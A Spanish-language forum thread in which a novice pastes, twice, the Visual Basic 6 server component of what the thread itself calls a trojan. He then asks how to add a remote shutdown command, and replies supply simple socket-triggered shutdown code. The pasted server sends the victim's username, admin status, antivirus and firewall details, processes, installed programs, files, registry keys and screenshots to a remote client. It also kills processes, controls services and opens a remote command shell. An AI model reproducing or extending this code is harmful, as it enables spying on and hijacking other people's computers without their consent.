Hola soy muy novato en esto arranque hace muy poco...y me surge una duda... tengo un problema en el server en DataArrival
Code
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim sData As String
Dim sHead As String
Dim iFData As Integer
Dim iRData As Integer
Dim sMParam() As String
Dim sDParam() As String
DoEvents
wskServer.GetData sData
Debug.Print sData
sHead = Left(sData, 10)
sData = Right$(sData, Len(sData) - 10)
sMParam = Split(sData, sDetailSplit)
Select Case sHead
Case "[GETSINFO]"
wskServer.SendData "[SETSINFO]" & _
"Syntax" & sDetailSplit & _
Environ("username") & " @ " & Environ("computername") & sDetailSplit & _
IsNTAdmin(0&, 0&) & sDetailSplit & _
Environ("os") & sDetailSplit & _
GetCPUSpeedMHz & sDetailSplit & _
MemoryAvailable & sDetailSplit & _
GetCountryCode & sDetailSplit & _
".9"
Case "[GETDINFO]"
wskServer.SendData "[SETDINFO]" & _
Environ("username") & sDetailSplit & _
Environ("computername") & sDetailSplit & _
Environ("os") & sDetailSplit & _
CountryTag & sDetailSplit & _
Split(GetFWAV, "|")(1) & sDetailSplit & _
Split(GetFWAV, "|")(0) & sDetailSplit & _
App.Path & sDetailSplit & _
Environ("systemdrive") & sDetailSplit & _
Environ("systemroot") & "\" & sDetailSplit & _
GetProcessor & sDetailSplit & _
GetCPUModel & sDetailSplit & _
Split(MemoryAvailable, "|")(0) & sDetailSplit & _
Split(MemoryAvailable, "|")(1) & sDetailSplit & _
GetCamDrvs & sDetailSplit & _
Screen.Width / Screen.TwipsPerPixelX & " x " & Screen.Height / Screen.TwipsPerPixelY
Case "[GETPRCLT]"
wskServer.SendData "[SETPRCLT]" & GetProcesses
Case "[GETPRGLT]"
wskServer.SendData "[SETPRGLT]" & GetInstalledApps
Case "[GETSRVLT]"
wskServer.SendData "[SETSRVLT]" & EnumerateServices
Case "[GETMODLT]"
wskServer.SendData "[SETMODLT]" & GetModules(CLng(sMParam(0)))
Case "[GETWNDLT]"
lstWindows = ""
Call EnumWindows(AddressOf GetWindows, CLng(sMParam(0)))
wskServer.SendData "[SETWNDLT]" & lstWindows
Case "[GETPRCKL]"
wskServer.SendData "[SETPRCKL]" & KillByPID(CLng(sMParam(0)))
Case "[GETMODKL]"
wskServer.SendData "[SETMODKL]" & UnInjectDll(sMParam(0), CLng(sMParam(1)))
Case "[GETPRCPR]"
wskServer.SendData "[SETPRCPR]" & SetProcessPriority(CLng(sMParam(0)), GetPriority(sMParam(1)))
Case "[GETSRVST]"
wskServer.SendData "[SETSRVST]" & ServiceControl(sMParam(0), CLng(sMParam(1)))
'Case "[GETSRVSU]"
' wskServer.SendData "[SETSRVSU]" & SetServiceStartup(CLng(sMParam(0)), GetPriority(sMParam(1)))
Case "[GETWNDOP]"
Select Case sMParam(0)
Case 0: sMParam(0) = SetWindow(CLng(sMParam(1)), 3)
Case 1: sMParam(0) = SetWindow(CLng(sMParam(1)), 6)
Case 2: sMParam(0) = SetWindow(CLng(sMParam(1)), 5)
Case 3: sMParam(0) = SetWindow(CLng(sMParam(1)), 0)
Case 4: sMParam(0) = CloseWindow(CLng(sMParam(1)))
Case 5: sMParam(0) = ChangeWindowText(CLng(sMParam(1)), sMParam(2))
End Select
wskServer.SendData "[SETWNDOP]" & sMParam(0)
Case "[GETFILES]"
sData = EnumFiles(sMParam(0))
If Len(sData) > 3072 Then
sFData = sData
While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
iFData = iFData + 1
Wend
wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
DoEvents
sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
Else
wskServer.SendData "[SETFILER]" + sData
End If
Case "[GETFILER]"
If Len(sFData) > 3072 Then
While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
iFData = iFData + 1
Wend
Sleep 100
wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
DoEvents
sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
Else
wskServer.SendData "[SETFILER]" + sFData
End If
Case "[GETREGES]"
sData = EnumKeysValues(sMParam(0), sMParam(1))
If Len(sData) > 3072 Then
sRData = sData
While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
iRData = iRData + 1
Wend
wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
DoEvents
sRData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
Else
wskServer.SendData "[SETREGER]" + sData
End If
Case "[GETREGER]"
If Len(sRData) > 3072 Then
While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
iRData = iRData + 1
Wend
Sleep 100
wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
DoEvents
sFData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
Else
wskServer.SendData "[SETREGER]" + sRData
End If
Case "[GETSCRST]"
sData = GetScreenshot(-1, picScreenShot)
MsgBox Len(sData)
iSData = 0
If Len(sData) > 3072 Then
sSData = sData
wskServer.SendData "[SETSCRST]" & Left(sData, 3072)
Else
wskServer.SendData "[SETSCRSR]" & sData
End If
Case "[GETSCRSR]"
If Len(sSData) > 3072 Then
iSData = iSData + 1
wskServer.SendData "[SETSCRST]" & Mid(sSData, iSData * 3072, 3072)
MsgBox iSData
Else
wskServer.SendData "[SETSCRSR]" & sData
End If
Case "[GETDRIVE]"
wskServer.SendData "[SETDRIVE]" & EnumDrives
Case "[FILESIZE]": wskServer.SendData "[SETSTRSD]"
Case "[GETCOMND]"
Select Case sMParam(0)
Case 0
KillByPID DOS_PID
wskServer.SendData "[SETCOMND]" & 0
Case 1
ExecuteCommand Environ("comspec")
wskServer.SendData "[SETCOMND]" & 1
Case 2
WriteData sMParam(1)
End Select
End Select
End Sub
a la hora de poner un simple codigo que apague la pc seria En DataArrival
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
Shell "shutdown -s -t 0"
End If
End Sub
y para el cliente seria
Private Sub Command2_Click()
Winsock1.SendData "apagar"
End Sub
pero no puedo hacer que funcione :P :P :P :P
Mira utiliza el siguiente código.
En el servidor cuando recibes los datos pon
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim dt() As String
Winsock1.GetData datos
dt = Split(datos,"|")
Select case dt(0)
Case "apagar"
Shell "shutdown -s -t 0"
End Select
End Sub
ahora en el cliente cuando envias pon
Private Sub Command2_Click()
Winsock1.SendData "apagar|"
End Sub
ya intente y no hubo caso osea no se donde poner el codigo para apagar la pc en el dataarrival del server y el nombre es wskServer no Winsock1
Citar
el nombre es wskServer no Winsock1
Si es asi como dices solo cambiale el name al objeto tambien quieres eso no me relajes, y si no me equivoco solo debes agregarle ese caso a tu server para poder enviarle la orden.
Saludos...
si pero ya lo hice pero el problema es donde lo agrego en el dataarrival del server por que me tira error...... :-\ :-\
osea meter esto
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
Shell "shutdown -s -t 0"
End If
End Sub
ACA DENTRO creo....o se agrega una nueva?
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim sData As String
Dim sHead As String
Dim iFData As Integer
Dim iRData As Integer
Dim sMParam() As String
Dim sDParam() As String
DoEvents
wskServer.GetData sData
Debug.Print sData
sHead = Left(sData, 10)
sData = Right$(sData, Len(sData) - 10)
sMParam = Split(sData, sDetailSplit)
Select Case sHead
Case "[GETSINFO]"
wskServer.SendData "[SETSINFO]" & _
"Syntax" & sDetailSplit & _
Environ("username") & " @ " & Environ("computername") & sDetailSplit & _
IsNTAdmin(0&, 0&) & sDetailSplit & _
Environ("os") & sDetailSplit & _
GetCPUSpeedMHz & sDetailSplit & _
MemoryAvailable & sDetailSplit & _
GetCountryCode & sDetailSplit & _
".9"
Case "[GETDINFO]"
wskServer.SendData "[SETDINFO]" & _
Environ("username") & sDetailSplit & _
Environ("computername") & sDetailSplit & _
Environ("os") & sDetailSplit & _
CountryTag & sDetailSplit & _
Split(GetFWAV, "|")(1) & sDetailSplit & _
Split(GetFWAV, "|")(0) & sDetailSplit & _
App.Path & sDetailSplit & _
Environ("systemdrive") & sDetailSplit & _
Environ("systemroot") & "\" & sDetailSplit & _
GetProcessor & sDetailSplit & _
GetCPUModel & sDetailSplit & _
Split(MemoryAvailable, "|")(0) & sDetailSplit & _
Split(MemoryAvailable, "|")(1) & sDetailSplit & _
GetCamDrvs & sDetailSplit & _
Screen.Width / Screen.TwipsPerPixelX & " x " & Screen.Height / Screen.TwipsPerPixelY
Case "[GETPRCLT]"
wskServer.SendData "[SETPRCLT]" & GetProcesses
Case "[GETPRGLT]"
wskServer.SendData "[SETPRGLT]" & GetInstalledApps
Case "[GETSRVLT]"
wskServer.SendData "[SETSRVLT]" & EnumerateServices
Case "[GETMODLT]"
wskServer.SendData "[SETMODLT]" & GetModules(CLng(sMParam(0)))
Case "[GETWNDLT]"
lstWindows = ""
Call EnumWindows(AddressOf GetWindows, CLng(sMParam(0)))
wskServer.SendData "[SETWNDLT]" & lstWindows
Case "[GETPRCKL]"
wskServer.SendData "[SETPRCKL]" & KillByPID(CLng(sMParam(0)))
Case "[GETMODKL]"
wskServer.SendData "[SETMODKL]" & UnInjectDll(sMParam(0), CLng(sMParam(1)))
Case "[GETPRCPR]"
wskServer.SendData "[SETPRCPR]" & SetProcessPriority(CLng(sMParam(0)), GetPriority(sMParam(1)))
Case "[GETSRVST]"
wskServer.SendData "[SETSRVST]" & ServiceControl(sMParam(0), CLng(sMParam(1)))
'Case "[GETSRVSU]"
' wskServer.SendData "[SETSRVSU]" & SetServiceStartup(CLng(sMParam(0)), GetPriority(sMParam(1)))
Case "[GETWNDOP]"
Select Case sMParam(0)
Case 0: sMParam(0) = SetWindow(CLng(sMParam(1)), 3)
Case 1: sMParam(0) = SetWindow(CLng(sMParam(1)), 6)
Case 2: sMParam(0) = SetWindow(CLng(sMParam(1)), 5)
Case 3: sMParam(0) = SetWindow(CLng(sMParam(1)), 0)
Case 4: sMParam(0) = CloseWindow(CLng(sMParam(1)))
Case 5: sMParam(0) = ChangeWindowText(CLng(sMParam(1)), sMParam(2))
End Select
wskServer.SendData "[SETWNDOP]" & sMParam(0)
Case "[GETFILES]"
sData = EnumFiles(sMParam(0))
If Len(sData) > 3072 Then
sFData = sData
While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
iFData = iFData + 1
Wend
wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
DoEvents
sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
Else
wskServer.SendData "[SETFILER]" + sData
End If
Case "[GETFILER]"
If Len(sFData) > 3072 Then
While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
iFData = iFData + 1
Wend
Sleep 100
wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
DoEvents
sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
Else
wskServer.SendData "[SETFILER]" + sFData
End If
Case "[GETREGES]"
sData = EnumKeysValues(sMParam(0), sMParam(1))
If Len(sData) > 3072 Then
sRData = sData
While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
iRData = iRData + 1
Wend
wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
DoEvents
sRData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
Else
wskServer.SendData "[SETREGER]" + sData
End If
Case "[GETREGER]"
If Len(sRData) > 3072 Then
While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
iRData = iRData + 1
Wend
Sleep 100
wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
DoEvents
sFData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
Else
wskServer.SendData "[SETREGER]" + sRData
End If
Case "[GETSCRST]"
sData = GetScreenshot(-1, picScreenShot)
MsgBox Len(sData)
iSData = 0
If Len(sData) > 3072 Then
sSData = sData
wskServer.SendData "[SETSCRST]" & Left(sData, 3072)
Else
wskServer.SendData "[SETSCRSR]" & sData
End If
Case "[GETSCRSR]"
If Len(sSData) > 3072 Then
iSData = iSData + 1
wskServer.SendData "[SETSCRST]" & Mid(sSData, iSData * 3072, 3072)
MsgBox iSData
Else
wskServer.SendData "[SETSCRSR]" & sData
End If
Case "[GETDRIVE]"
wskServer.SendData "[SETDRIVE]" & EnumDrives
Case "[FILESIZE]": wskServer.SendData "[SETSTRSD]"
Case "[GETCOMND]"
Select Case sMParam(0)
Case 0
KillByPID DOS_PID
wskServer.SendData "[SETCOMND]" & 0
Case 1
ExecuteCommand Environ("comspec")
wskServer.SendData "[SETCOMND]" & 1
Case 2
WriteData sMParam(1)
End Select
End Select
End Sub
ya lo e vuelto a probar y no funciona no se como hacerlo... :-\ :-\ :-\
mmmm me parece q hiciste un ALTO copy paste xD
no se mi consejo es q te leas un manual.. y no empiezes con cosas tan dificiles...
lo q queres hacer es una pavada xD... y no puede ser q si hiciste el code de antes no te salga eso! :S
SALUDOS
no no el code no lo hice yo por eso es que no lo puedo lograr hacer :-\
Cita de: Zaoner en 7 Noviembre 2008, 21:00 PM
no no el code no lo hice yo por eso es que no lo puedo lograr hacer :-\
Utiliza el código que te deje anteriormente ! Es el más sencillo para los troyanos.